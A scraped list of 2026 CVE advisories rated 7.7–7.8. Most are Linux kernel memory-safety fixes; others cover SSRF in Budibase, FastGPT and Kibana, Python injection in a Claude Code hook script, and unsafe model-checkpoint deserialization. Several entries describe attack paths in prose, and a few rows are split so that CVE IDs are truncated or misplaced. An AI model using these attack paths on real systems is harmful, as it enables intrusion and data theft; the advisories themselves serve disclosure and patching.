CVE-2026-46111	In the Linux kernel, the following vulnerability has been resolved: Bluetooth: hci_conn: fix potential UAF in create_big_sync Add hci_conn_valid() check in create_big_sync() to detect stale connections before proceeding with BIG creation. Handle the resulting -ECANCELED in create_big_complete() and re-validate the connection under hci_dev_lock() before dereferencing, matching the pattern used by create_le_conn_complete() and create_pa_complete(). Keep the hci_conn object alive across the async boundary by taking a reference via hci_conn_get() when queueing create_big_sync(), and dropping it in the completion callback. The refcount and the lock are complementary: the refcount keeps the object allocated, while hci_dev_lock() serializes hci_conn_hash_del()'s list_del_rcu() on hdev->conn_hash, as required by hci_conn_del(). hci_conn_put() is called outside hci_dev_unlock() so the final put (which resolves to kfree() via bt_link_release) does not run under hdev->lock, though the release path would be safe either way. Without this, create_big_complete() would unconditionally dereference the conn pointer on error, causing a use-after-free via hci_connect_cfm() and hci_conn_del().	7.8	More Details
CVE-2026-45136	claude-code-cache-fix is a cache optimization proxy for Claude Code. From 3.5.0 to before 3.5.2, tools/quota-statusline.sh (introduced in v3.5.0) interpolates Claude Code's hook stdin payload directly into a Python triple-quoted string literal. A ''' byte sequence in any user-controlled field of the payload closes the literal early and lets following bytes execute as Python in the user's Claude Code process. This vulnerability is fixed in 3.5.2.	7.8	More Details

CVE-2026-45970	In the Linux kernel, the following vulnerability has been resolved: bonding: alb: fix UAF in rlb_arp_recv during bond up/down The ALB RX path may access rx_hashtbl concurrently with bond teardown. During rapid bond up/down cycles, rlb_deinitialize() frees rx_hashtbl while RX handlers are still running, leading to a null pointer dereference detected by KASAN. However, the root cause is that rlb_arp_recv() can still be accessed after setting recv_probe to NULL, which is actually a use-after-free (UAF) issue. That is the reason for using the referenced commit in the Fixes tag. [214.174138] Oops: general protection fault, probably for non-canonical address 0xdfffffc000000001d: 0000 [#1] SMP KASAN PTI [214.186478] KASAN: null-ptr-deref in range [0x00000000000000e8-0x00000000000000ef] [214.194933] CPU: 30 UID: 0 PID: 2375 Comm: ping Kdump: loaded Not tainted 6.19.0-rc8+ #2 PREEMPT(voluntary) [214.205907] Hardware name: Dell Inc. PowerEdge R730/0WCJNT, BIOS 2.14.0 01/14/2022 [214.214357] RIP: 0010:rlb_arp_recv+0x505/0xab0 [bonding] [214.220320] Code: 0f 85 2b 05 00 00 48 b8 00 00 00 00 00 fc ff df 40 0f b6 ed 48 c1 e5 06 49 03 ad 78 01 00 00 48 8d 7d 28 48 89 fa 48 c1 ea 03 <0f> b6 04 02 84 c0 74 06 0f 8e 12 05 00 00 80 7d 28 00 0f 84 8c 00 [214.241280] RSP: 0018:ffffc900073d8870 EFLAGS: 00010206 [214.247116] RAX: dfffffc0000000000 RBX: ffff888168556822 RCX: ffff88816855681e [214.255082] RDX: 000000000000001d RSI: dfffffc0000000000 RDI: 00000000000000e8 [214.263048] RBP: 00000000000000c0 R08: 0000000000000002 R09: ffffed11192021c8 [214.271013] R10: ffff8888c9010e43 R11: 0000000000000001 R12: 1ffff92000e7b119 [214.278978] R13: ffff8888c9010e00 R14: ffff888168556822 R15: ffff888168556810 [214.286943] FS: 00007f85d2d9cb80(0000) GS:ffff88886ccb3000(0000) knlGS:0000000000000000 [214.295966] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [214.302380] CR2: 00007f0d047b5e34 CR3: 00000008a1c2e002 CR4: 00000000001726f0 [214.310347] Call Trace: [214.313070] <IRQ> [214.315318] ? __pfx_rlb_arp_recv+0x10/0x10 [bonding] [214.320975] bond_handle_frame+0x166/0xb60 [bonding] [214.326537] ? __pfx_bond_handle_frame+0x10/0x10 [bonding] [214.332680] __netif_receive_skb_core.constprop.0+0x576/0x2710 [214.339199] ? __pfx_arp_process+0x10/0x10 [214.343775] ? sched_balance_find_src_group+0x98/0x630 [214.349513] ? __pfx___netif_receive_skb_core.constprop.0+0x10/0x10 [214.356513] ? arp_rcv+0x307/0x690 [214.360311] ? __pfx_arp_rcv+0x10/0x10 [214.364499] ? __lock_acquire+0x58c/0xbd0 [214.368975] __netif_receive_skb_one_core+0xae/0x1b0 [214.374518] ? __pfx___netif_receive_skb_one_core+0x10/0x10 [214.380743] ? lock_acquire+0x10b/0x140 [214.385026] process_backlog+0x3f1/0x13a0 [214.389502] ? process_backlog+0x3aa/0x13a0 [214.394174] __napi_poll.constprop.0+0x9f/0x370 [214.399233] net_rx_action+0x8c1/0xe60 [214.403423] ? __pfx_net_rx_action+0x10/0x10 [214.408193] ? lock_acquire.part.0+0xbd/0x260 [214.413058] ? sched_clock_cpu+0x6c/0x540 [214.417540] ? mark_held_locks+0x40/0x70 [214.421920] handle_softirqs+0x1fd/0x860 [214.426302] ? __pfx_handle_softirqs+0x10/0x10 [214.431264] ? __neigh_event_send+0x2d6/0xf50 [214.436131] do_softirq+0xb1/0xf0 [214.439830] </IRQ> The issue is reproducible by repeatedly running ip link set bond0 up/down while receiving ARP messages, where rlb_arp_recv() can race with rlb_deinitialize() and dereference a freed rx_hashtbl entry. Fix this by setting recv_probe to NULL and then calling synchronize_net() to wait for any concurrent RX processing to finish. This ensures that no RX handler can access rx_hashtbl after it is freed in bond_alb_deinitialize().	7.8	More Details
CVE-2026-45909	In the Linux kernel, the following vulnerability has been resolved: clk: mediatek: Drop __initconst from gates Since commit 8ceff24a754a ("clk: mediatek: clk-gate: Refactor mtk_clk_register_gate to use mtk_gate struct") the mtk_gate structs are no longer just used for initialization/registration, but also at runtime. So drop __initconst annotations.	7.8	More Details
CVE-2026-20455	In geniezone, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS10873936; Issue ID: MSV-6784.	7.8	More Details
CVE-2026-46015	In the Linux kernel, the following vulnerability has been resolved: tcp: call sk_data_ready() after listener migration When inet_csk_listen_stop() migrates an established child socket from a closing listener to another socket in the same SO_REUSEPORT group, the target listener gets a new accept-queue entry via inet_csk_reqsk_queue_add(), but that path never notifies the target listener's waiters. A nonblocking accept() still works because it checks the queue directly, but poll()/epoll_wait() waiters and blocking accept() callers can also remain asleep indefinitely. Call READ_ONCE(nsk->sk_data_ready)(nsk) after a successful migration in inet_csk_listen_stop(). However, after inet_csk_reqsk_queue_add() succeeds, the ref acquired in reuseport_migrate_sock() is effectively transferred to nreq->rsk_listener. Another CPU can then dequeue nreq via accept() or listener shutdown, hit reqsk_put(), and drop that listener ref. Since listeners are SOCK_RCU_FREE, wrap the post-queue_add() dereferences of nsk in rcu_read_lock()/rcu_read_unlock(), which also covers the existing sock_net(nsk) access in that path. The reqsk_timer_handler() path does not need the same changes for two reasons: half-open requests become readable only after the final ACK, where tcp_child_process() already wakes the listener; and once nreq is visible via inet_ehash_insert(), the success path no longer touches nsk directly.	7.8	More Details
CVE-2026-	In the Linux kernel, the following vulnerability has been resolved: media: mtk-jpeg: fix use-after-free in release path due to uncancelled work The mtk_jpeg_release() function frees the context structure (ctx) without first cancelling any pending or running work in ctx->jpeg_work. This creates a race window where the workqueue callback may still be accessing the context memory after it has been freed. Race condition: CPU 0 (release) CPU 1 (workqueue) ---------- ---------- close() mtk_jpeg_release() mtk_jpegenc_worker() ctx = work->data // accessing ctx kfree(ctx) // freed! access ctx // UAF! The work is queued via queue_work() during JPEG encode/decode operations (via mtk_jpeg_device_run). If the device is closed while work is	7.8	More Details

46011	pending or running, the work handler will access freed memory. Fix this by calling cancel_work_sync() BEFORE acquiring the mutex. This ordering is critical: if cancel_work_sync() is called after mutex_lock(), and the work handler also tries to acquire the same mutex, it would cause a deadlock. Note: The open error path does NOT need cancel_work_sync() because INIT_WORK() only initializes the work structure - it does not schedule it. Work is only scheduled later during ioctl operations.		
CVE-2026-46006	In the Linux kernel, the following vulnerability has been resolved: drm/nouveau: fix u32 overflow in pushbuf reloc bounds check nouveau_gem_pushbuf_reloc_apply() validates each relocation with if (r->reloc_bo_offset + 4 > nvbo->bo.base.size) but reloc_bo_offset is __u32 (uapi/drm/nouveau_drm.h) and the integer literal 4 promotes to unsigned int, so the addition is performed in 32 bits and wraps before the comparison against the size_t bo size. Cast to u64 so the addition happens in 64-bit arithmetic. [Add Fixes: tag. - Danilo]	7.8	More Details
CVE-2026-45991	In the Linux kernel, the following vulnerability has been resolved: udf: fix partition descriptor append bookkeeping Mounting a crafted UDF image with repeated partition descriptors can trigger a heap out-of-bounds write in part_descs_loc[]. handle_partition_descriptor() deduplicates entries by partition number, but appended slots never record partnum. As a result duplicate Partition Descriptors are appended repeatedly and num_part_descs keeps growing. Once the table is full, the growth path still sizes the allocation from partnum even though inserts are indexed by num_part_descs. If partnum is already aligned to PART_DESC_ALLOC_STEP, ALIGN(partnum, step) can keep the old capacity and the next append writes past the end of the table. Store partnum in the appended slot and size growth from the next append count so deduplication and capacity tracking follow the same model.	7.8	More Details
CVE-2026-45984	In the Linux kernel, the following vulnerability has been resolved: gfs2: Fix use-after-free in iomap inline data write path The inline data buffer head (dibh) is being released prematurely in gfs2_iomap_begin() via release_metapath() while iomap->inline_data still points to dibh->b_data. This causes a use-after-free when iomap_write_end_inline() later attempts to write to the inline data area. The bug sequence: 1. gfs2_iomap_begin() calls gfs2_meta_inode_buffer() to read inode metadata into dibh 2. Sets iomap->inline_data = dibh->b_data + sizeof(struct gfs2_dinode) 3. Calls release_metapath() which calls brelse(dibh), dropping refcount to 0 4. kswapd reclaims the page (~39ms later in the syzbot report) 5. iomap_write_end_inline() tries to memcpy() to iomap->inline_data 6. KASAN detects use-after-free write to freed memory Fix by storing dibh in iomap->private and incrementing its refcount with get_bh() in gfs2_iomap_begin(). The buffer is then properly released in gfs2_iomap_end() after the inline write completes, ensuring the page stays alive for the entire iomap operation. Note: A C reproducer is not available for this issue. The fix is based on analysis of the KASAN report and code review showing the buffer head is freed before use. [agruenba: Take buffer head reference in gfs2_iomap_begin() to avoid leaks in gfs2_iomap_get() and gfs2_iomap_alloc().]	7.8	More Details
CVE-2026-45980	In the Linux kernel, the following vulnerability has been resolved: accel/amdxdna: Stop job scheduling across aie2_release_resource() Running jobs on a hardware context while it is in the process of releasing resources can lead to use-after-free and crashes. Fix this by stopping job scheduling before calling aie2_release_resource() and restarting it after the release completes. Additionally, aie2_sched_job_run() now checks whether the hardware context is still active.	7.8	More Details
CVE-2026-45894	In the Linux kernel, the following vulnerability has been resolved: iommu/vt-d: Clear Present bit before tearing down PASID entry The Intel VT-d Scalable Mode PASID table entry consists of 512 bits (64 bytes). When tearing down an entry, the current implementation zeros the entire 64-byte structure immediately using multiple 64-bit writes. Since the IOMMU hardware may fetch these 64 bytes using multiple internal transactions (e.g., four 128-bit bursts), updating or zeroing the entire entry while it is active (P=1) risks a "torn" read. If a hardware fetch occurs simultaneously with the CPU zeroing the entry, the hardware could observe an inconsistent state, leading to unpredictable behavior or spurious faults. Follow the "Guidance to Software for Invalidations" in the VT-d spec (Section 6.5.3.3) by implementing the recommended ownership handshake: 1. Clear only the 'Present' (P) bit of the PASID entry. 2. Use a dma_wmb() to ensure the cleared bit is visible to hardware before proceeding. 3. Execute the required invalidation sequence (PASID cache, IOTLB, and Device-TLB flush) to ensure the hardware has released all cached references. 4. Only after the flushes are complete, zero out the remaining fields of the PASID entry. Also, add a dma_wmb() in pasid_set_present() to ensure that all other fields of the PASID entry are visible to the hardware before the Present bit is set.	7.8	More Details
CVE-2026-45959	In the Linux kernel, the following vulnerability has been resolved: crypto: ccp - Fix a crash due to incorrect cleanup usage of kfree Annotating a local pointer variable, which will be assigned with the kmalloc-family functions, with the `__cleanup(kfree)` attribute will make the address of the local variable, rather than the address returned by kmalloc, passed to kfree directly and lead to a crash due to invalid deallocation of stack address. According to other places in the repo, the correct usage should be `__free(kfree)`. The code coincidentally compiled because the parameter type `void *` of kfree is compatible with the desired type `struct { ... } **`.	7.8	More Details
CVE-2026-45951	In the Linux kernel, the following vulnerability has been resolved: bpf: Fix a potential use-after-free of BTF object Refcounting in the check_pseudo_btf_id() function is incorrect: the __check_pseudo_btf_id() function might get called with a zero refcounted btf. Fix this, and patch related code accordingly. v3: rephrase a comment (AI) v2: fix a refcount leak introduced in v1 (AI)	7.8	More Details

CVE-2026-10118	A flaw was found in Poppler's Splash backend. A remote attacker could exploit this vulnerability by crafting a malicious PDF file that, when rendered, triggers an integer overflow in the `tilingPatternFill` function. This overflow leads to an undersized heap memory allocation, allowing a subsequent out-of-bounds write. Successful exploitation could result in arbitrary code execution, information disclosure, or denial of service within the context of the application processing the PDF.	7.8	More Details
CVE-2026-43958	A flaw was found in rrdcached, a component of rrdtool. A local attacker with access to a rrdcached socket can exploit a stack-based buffer overflow by sending an oversized CREATE request. This vulnerability can lead to a denial of service by crashing the daemon or potentially allow for arbitrary code execution, impacting the integrity and confidentiality of data.	7.8	More Details
CVE-2026-45935	In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: Fix slab-out-of-bounds read in DeleteIndexEntryRoot In the 'DeleteIndexEntryRoot' case of the 'do_action' function, the entry size ('esize') is retrieved from the log record without adequate bounds checking. Specifically, the code calculates the end of the entry ('e2') using: e2 = Add2Ptr(e1, esize); It then calculates the size for memmove using 'PtrOffset(e2, ...)', which subtracts the end pointer from the buffer limit. If 'esize' is maliciously large, 'e2' exceeds the used buffer size. This results in a negative offset which, when cast to size_t for memmove, interprets as a massive unsigned integer, leading to a heap buffer overflow. This commit adds a check to ensure that the entry size ('esize') strictly fits within the remaining used space of the index header before performing memory operations.	7.8	More Details
CVE-2026-45933	In the Linux kernel, the following vulnerability has been resolved: bpf: Preserve id of register in sync_linked_regs() sync_linked_regs() copies the id of known_reg to reg when propagating bounds of known_reg to reg using the off of known_reg, but when known_reg was linked to reg like: known_reg = reg ; both known_reg and reg get same id known_reg += 4 ; known_reg gets off = 4, and its id gets BPF_ADD_CONST now when a call to sync_linked_regs() happens, let's say with the following: if known_reg >= 10 goto pc+2 known_reg's new bounds are propagated to reg but now reg gets BPF_ADD_CONST from the copy. This means if another link to reg is created like: another_reg = reg ; another_reg should get the id of reg but assign_scalar_id_before_mov() sees BPF_ADD_CONST on reg and assigns a new id to it. As reg has a new id now, known_reg's link to reg is broken. If we find new bounds for known_reg, they will not be propagated to reg. This can be seen in the selftest added in the next commit: 0: (85) call bpf_get_prandom_u32#7 ; R0=scalar() 1: (57) r0 &= 255 ; R0=scalar(smin=smin32=0,smax=umax=smax32=umax32=255,var_off=(0x0; 0xff)) 2: (bf) r1 = r0 ; R0=scalar(id=1,smin=smin32=0,smax=umax=smax32=umax32=255,var_off=(0x0; 0xff)) R1=scalar(id=1,smin=smin32=0,smax=umax=smax32=umax32=255,var_off=(0x0; 0xff)) 3: (07) r1 += 4 ; R1=scalar(id=1+4,smin=umin=smin32=umin32=4,smax=umax=smax32=umax32=259,var_off=(0x0; 0x1ff)) 4: (a5) if r1 < 0xa goto pc+4 ; R1=scalar(id=1+4,smin=umin=smin32=umin32=10,smax=umax=smax32=umax32=259,var_off=(0x0; 0x1ff)) 5: (bf) r2 = r0 ; R0=scalar(id=2,smin=umin=smin32=umin32=6,smax=umax=smax32=umax32=255) R2=scalar(id=2,smin=umin=smin32=umin32=6,smax=umax=smax32=umax32=255) 6: (a5) if r1 < 0xe goto pc+2 ; R1=scalar(id=1+4,smin=umin=smin32=umin32=14,smax=umax=smax32=umax32=259,var_off=(0x0; 0x1ff)) 7: (35) if r0 >= 0xa goto pc+1 ; R0=scalar(id=2,smin=umin=smin32=umin32=6,smax=umax=smax32=umax32=9,var_off=(0x0; 0xf)) 8: (37) r0 /= 0 div by zero When 4 is verified, r1's bounds are propagated to r0 but r0 also gets BPF_ADD_CONST (bug). When 5 is verified, r0 gets a new id (2) and its link with r1 is broken. After 6 we know r1 has bounds [14, 259] and therefore r0 should have bounds [10, 255], therefore the branch at 7 is always taken. But because r0's id was changed to 2, r1's new bounds are not propagated to r0. The verifier still thinks r0 has bounds [6, 255] before 7 and execution can reach div by zero. Fix this by preserving id in sync_linked_regs() like off and subreg_def.	7.8	More Details
CVE-2026-46036	In the Linux kernel, the following vulnerability has been resolved: vfio/cdx: Serialize VFIO_DEVICE_SET_IRQS with a per-device mutex vfio_cdx_set_msi_trigger() reads vdev->config_msi and operates on the vdev->cdx_irqs array based on its value, but provides no serialization against concurrent VFIO_DEVICE_SET_IRQS ioctls. Two callers can race such that one observes config_msi as set while another clears it and frees cdx_irqs via vfio_cdx_msi_disable(), resulting in a use-after-free of the cdx_irqs array. Add a cdx_irqs_lock mutex to struct vfio_cdx_device and acquire it in vfio_cdx_set_msi_trigger(), which is the single chokepoint through which all updates to config_msi, cdx_irqs, and msi_count flow, covering both the ioctl path and the close-device cleanup path. This keeps the test of config_msi atomic with the subsequent enable, disable, or trigger operations. Drop the pre-call !cdx_irqs test from vfio_cdx_irqs_cleanup() as part of this change: the optimization it provided is redundant with the !config_msi early-return inside vfio_cdx_msi_disable(), and leaving the test in place would be an unsynchronized read of state the new lock is meant to protect.	7.8	More Details
	In the Linux kernel, the following vulnerability has been resolved: RDMA/rxe: Fix race condition in QP timer handlers I encontered the following warning: WARNING: drivers/infiniband/sw/rxe/rxe_task.c:249 at rxe_sched_task+0x1c8/0x238 [rdma_rxe], CPU#0: swapper/0/0 ... libsha1 [last unloaded: ip6_udp_tunnel] CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Tainted: G C 6.19.0-rc5-64k-v8+ #37 PREEMPT Tainted: [C]=CRAP Hardware name: Raspberry Pi 4 Model B Rev 1.2 Call trace: rxe_sched_task+0x1c8/0x238 [rdma_rxe] (P) retransmit_timer+0x130/0x188 [rdma_rxe] call_timer_fn+0x68/0x4d0 __run_timers+0x630/0x888 ... WARNING: drivers/infiniband/sw/rxe/rxe_task.c:38 at rxe_sched_task+0x1c0/0x238 [rdma_rxe], CPU#0:		

CVE-2026-45910	swapper/0/0 ... WARNING: drivers/infiniband/sw/rxe/rxe_task.c:111 at do_work+0x488/0x5c8 [rdma_rxe], CPU#3: kworker/u17:4/93400 ... refcount_t: underflow; use-after-free. WARNING: lib/refcount.c:28 at refcount_warn_saturate+0x138/0x1a0, CPU#3: kworker/u17:4/93400 The issue is caused by a race condition between retransmit_timer() and rxe_destroy_qp, leading to the Queue Pair's (QP) reference count dropping to zero during timer handler execution. It seems this warning is harmless because rxe_qp_do_cleanup() will flush all pending timers and requests. Example of flow causing the issue: CPU0 CPU1 retransmit_timer() { spin_lock_irqsave rxe_destroy_qp() __rxe_cleanup() __rxe_put() // qp->ref_count decrease to 0 rxe_qp_do_cleanup() { if (qp->valid) { rxe_sched_task() { WARN_ON(rxe_read(task->qp) <= 0); } } spin_unlock_irqrestore } spin_lock_irqsave qp->valid = 0 spin_unlock_irqrestore } Ensure the QP's reference count is maintained and its validity is checked within the timer callbacks by adding calls to rxe_get(qp) and corresponding rxe_put(qp) after use.	7.8	More Details
CVE-2026-8501	Improper access control in the PCTCore64.sys Windows kernel driver from PC Tools Internet Security allows user-mode processes to access the PCTCoreDriver WDM device interface and invoke privileged IOCTL handlers. A local attacker with the ability to access or load the affected driver can exploit this vulnerability to perform sensitive and privileged operations on the target system.	7.8	More Details
CVE-2026-45931	In the Linux kernel, the following vulnerability has been resolved: accel/amdxdna: Hold mm structure across iommu_sva_unbind_device() Some tests trigger a crash in iommu_sva_unbind_device() due to accessing iommu_mm after the associated mm structure has been freed. Fix this by taking an explicit reference to the mm structure after successfully binding the device, and releasing it only after the device is unbound. This ensures the mm remains valid for the entire SVA bind/unbind lifetime.	7.8	More Details
CVE-2026-38950	An issue in ESA AnomalyMatch before 1.3.1 allow attackers to execute arbitrary code via crafted model checkpoint files. The affected components load model files from session directories using torch.load() with unrestricted deserialization.	7.8	More Details
CVE-2026-45929	In the Linux kernel, the following vulnerability has been resolved: ovpn: fix possible use-after-free in ovpn_net_xmit When building the skb_list in ovpn_net_xmit, skb_share_check will free the original skb if it is shared. The current implementation continues to use the stale skb pointer for subsequent operations: - peer lookup, - skb_dst_drop (even though all segments produced by skb_gso_segment will have a dst attached), - ovpn_peer_stats_increment_tx. Fix this by moving the peer lookup and skb_dst_drop before segmentation so that the original skb is still valid when used. Return early if all segments fail skb_share_check and the list ends up empty. Also switch ovpn_peer_stats_increment_tx to use skb_list.next; the next patch fixes the stats logic.	7.8	More Details
CVE-2026-46243	In the Linux kernel, the following vulnerability has been resolved: smb: client: reject userspace cifs.spnego descriptions cifs.spnego key descriptions contain authority-bearing fields such as pid, uid, creduid, and upcall_target that cifs.upcall treats as kernel-originating inputs. However, userspace can also create keys of this type through request_key(2) or add_key(2), allowing those fields to be supplied without CIFS origin. Only accept cifs.spnego descriptions while CIFS is using its private spnego_cred to request the key.	7.8	More Details
CVE-2026-45942	In the Linux kernel, the following vulnerability has been resolved: ext4: fix e4b bitmap inconsistency reports A bitmap inconsistency issue was observed during stress tests under mixed huge-page workloads. Ext4 reported multiple e4b bitmap check failures like: ext4_mb_complex_scan_group:2508: group 350, 8179 free clusters as per group info. But got 8192 blocks Analysis and experimentation confirmed that the issue is caused by a race condition between page migration and bitmap modification. Although this timing window is extremely narrow, it is still hit in practice: folio_lock ext4_mb_load_buddy __migrate_folio check ref count folio_mc_copy __filemap_get_folio folio_try_get(folio) ..... mb_mark_used ext4_mb_unload_buddy __folio_migrate_mapping folio_ref_freeze folio_unlock The root cause of this issue is that the fast path of load_buddy only increments the folio's reference count, which is insufficient to prevent concurrent folio migration. We observed that the folio migration process acquires the folio lock. Therefore, we can determine whether to take the fast path in load_buddy by checking the lock status. If the folio is locked, we opt for the slow path (which acquires the lock) to close this concurrency window. Additionally, this change addresses the following issues: When the DOUBLE_CHECK macro is enabled to inspect bitmap-related issues, the following error may be triggered: corruption in group 324 at byte 784(6272): f in copy != ff on disk/prealloc Analysis reveals that this is a false positive. There is a specific race window where the bitmap and the group descriptor become momentarily inconsistent, leading to this error report: ext4_mb_load_buddy ext4_mb_load_buddy __filemap_get_folio(create|lock) folio_lock ext4_mb_init_cache folio_mark_uptodate __filemap_get_folio(no lock) ..... mb_mark_used mb_mark_used_double mb_cmp_bitmaps mb_set_bits(e4b->bd_bitmap) folio_unlock The original logic assumed that since mb_cmp_bitmaps is called when the bitmap is newly loaded from disk, the folio lock would be sufficient to prevent concurrent access. However, this overlooks a specific race condition: if another process attempts to load buddy and finds the folio is already in an uptodate state, it will immediately begin using it without holding folio lock.	7.8	More Details
CVE-2026-42965	A flaw was found in the OpenShift Router. A user with EndpointSlice write access can exploit this vulnerability by creating a Service backed by an FQDN (Fully Qualified Domain Name) EndpointSlice that resolves to a cloud metadata endpoint. This allows the router to proxy requests to the cloud metadata endpoint, leading to the disclosure of instance credentials and other sensitive metadata. This bypasses previous security measures for validating IP addresses.	7.7	More Details

CVE-2026-46427	Budibase is an open-source low-code platform. Prior to 3.38.3, removeSecrets at packages/server/src/sdk/workspace/datasources/datasources.ts masks only datasource config fields whose schema type is DatasourceFieldType.PASSWORD. The Snowflake integration types its privateKey field as SENSITIVE_LONGFORM, which the filter skips. GET /api/datasources/:datasourceId lives on authorizedRoutes guarded by PermissionType.TABLE + PermissionLevel.READ. An authenticated BASIC user with any app role and call the endpoint and receive the full Snowflake PEM in plaintext. This vulnerability is fixed in 3.38.3.	7.7	More Details
CVE-2026-45296	OpenReplay is a self-hosted session replay suite. Prior to 1.26.0, OpenReplay's Python API exposes several app_apikey routes that trust a caller-provided projectKey after validating only that the API key itself is valid and that the target projectKey exists. The authorization flow does not verify that the authenticated API key and the requested project belong to the same tenant. Because the public tracker design exposes projectKey to browser-side code, an attacker who owns any valid API key for their own tenant can target another tenant's project by reusing that public projectKey. The vulnerable routes allow the attacker to enumerate victim user sessions and then retrieve sensitive session event data across the tenant boundary. This vulnerability is fixed in 1.26.0.	7.7	More Details
CVE-2026-45061	Budibase is an open-source low-code platform. Prior to 3.35.10, the Plugin URL upload endpoint (POST /api/plugin) validates the submitted URL with a single substring check: url.includes(".tar.gz"). Any URL containing .tar.gz anywhere in the string — in the path, query string, or fragment — passes this check. The URL then proceeds directly to fetchWithBlacklist() with no further validation of host, scheme, or path. Standalone, this vulnerability is blocked by Budibase's default SSRF blacklist, which covers private IP ranges. But the URL validation layer itself is broken regardless, and it directly enables SSRF in two realistic situations: (1) when chained with the BLACKLIST_IPS bypass ([001]), where the blacklist is empty; and (2) when the plugin server follows HTTP redirects from an external URL to an internal target (the default node-fetch behavior with redirect: 'follow'). This vulnerability is fixed in 3.35.10.	7.7	More Details
CVE-2026-45548	Budibase is an open-source low-code platform. Prior to 3.34.8, the processUrlFile function in packages/server/src/automations/steps/ai/extract.ts uses fetch(fileUrl) directly without the IP blacklist validation that is consistently applied to all other automation steps. This allows an authenticated user to trigger server-side requests to internal network addresses. This vulnerability is fixed in 3.34.8.	7.7	More Details
CVE-2026-45715	Budibase is an open-source low-code platform. Prior to 3.38.1, the REST datasource integration (packages/server/src/integrations/rest.ts) follows HTTP redirects without re-checking the IP blacklist, allowing an authenticated Builder to access internal services (cloud metadata, databases) by redirecting through an attacker-controlled server. This vulnerability is fixed in 3.38.1.	7.7	More Details
CVE-2026-44285	FastGPT is an AI Agent building platform. Prior to 4.15.0-beta1, a Server-Side Request Forgery (SSRF) vulnerability allows an authenticated attacker to bypass the global isInternalAddress network protection and make arbitrary HTTP GET requests to internal network services. This is achieved by exploiting an incomplete fix in the dataset preview endpoint /api/core/dataset/file/getPreviewChunks when utilizing the externalFile data import type. This vulnerability is fixed in 4.15.0-beta1.	7.7	More Details
CVE-2026-46823	Vulnerability in the Oracle Public Sector Financials (International) product of Oracle E-Business Suite (component: Authorization). Supported versions that are affected are 12.2.6-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Public Sector Financials (International). While the vulnerability is in Oracle Public Sector Financials (International), attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Public Sector Financials (International) accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).	7.7	More Details
CVE-2026-48146	Budibase is an open-source low-code platform. Prior to 3.39.0, the OAuth2 token fetch function in packages/server/src/sdk/workspace/oauth2/utils.ts uses raw fetch(config.url) with no SSRF protection. The safe wrapper fetchWithBlacklist() exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was not applied to the OAuth2 token endpoint. A user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data. This vulnerability is fixed in 3.39.0.	7.7	More Details
CVE-2026-46821	Vulnerability in the Oracle Financials Common Modules product of Oracle E-Business Suite (component: Common Components). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Financials Common Modules. While the vulnerability is in Oracle Financials Common Modules, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Financials Common Modules accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).	7.7	More Details
CVE-2026-42398	Server-Side Request Forgery (CWE-918) in Kibana allows authenticated users with connector management privileges to bypass the operator-configured connection allowlist. By configuring a Webhook connector with a crafted target, an attacker can cause Kibana to issue outbound requests to destinations that the egress restriction controls were intended to block.	7.7	More Details

CVE-2026-10107	MoviePilot v2 contains a server-side request forgery vulnerability in the image proxy endpoint that allows authenticated attackers to request arbitrary URLs by supplying a resource_token cookie and a URL whose domain matches the assembled allowlist. Attackers can bypass internal network protections because the SecurityUtils.is_safe_url function performs only domain-membership checking without blocking private, loopback, or link-local addresses, enabling enumeration of internal services such as Jellyfin, Emby, or Plex and exfiltration of data from internal network resources.	7.7	More Details
CVE-2026-9804	A flaw was found in KubeVirt's virt-exportserver component. An attacker with specific namespace-level access can exploit a path traversal vulnerability in the VMExport directory endpoint. By placing a symbolic link (symlink) within an exported filesystem Persistent Volume Claim (PVC) that points outside its designated mount root, the attacker can read arbitrary files from the exporter pod's filesystem. This leads to information disclosure, potentially exposing sensitive data.	7.7	More Details
CVE-2026-46123	In the Linux kernel, the following vulnerability has been resolved: Bluetooth: virtio_bt: clamp rx length before skb_put virtbt_rx_work() calls skb_put(skb, len) where len comes directly from virtqueue_get_buf() with no validation against the buffer we posted to the device. The RX skb is allocated in virtbt_add_inbuf() and exposed to virtio as exactly 1000 bytes via sg_init_one(). Checking len against skb_tailroom(skb) is not sufficient because alloc_skb() can leave more tailroom than the 1000 bytes actually handed to the device. A malicious or buggy backend can therefore report used.len between 1001 and skb_tailroom(skb), causing skb_put() to include uninitialized kernel heap bytes that were never written by the device. The same path also accepts len == 0, in which case skb_put(skb, 0) leaves the skb empty but virtbt_rx_handle() still reads the pkt_type byte from skb->data, consuming uninitialized memory. Define VIRTBT_RX_BUF_SIZE once and reuse it in alloc_skb() and sg_init_one(), and gate virtbt_rx_work() on that same constant so the bound checked matches the buffer actually exposed to the device. Reject used.len == 0 in the same gate so an empty completion can no longer reach virtbt_rx_handle(). Use bt_dev_err_ratelimited() because the length value comes from an untrusted backend that can otherwise flood the kernel log. Same class of bug as commit c04db81cd028 ("net/9p: Fix buffer overflow in USB transport layer"), which hardened the USB 9p transport against unchecked device-reported length.	7.7	More Details
CVE-2026-2253	Hitachi Vantara Pentaho Data Integration & Analytics versions before 10.2.0.7 and 11.0.0.0, including 9.3.x and 8.3.x, does not prevent certain XML parsers from resolving external entities.	7.7	More Details
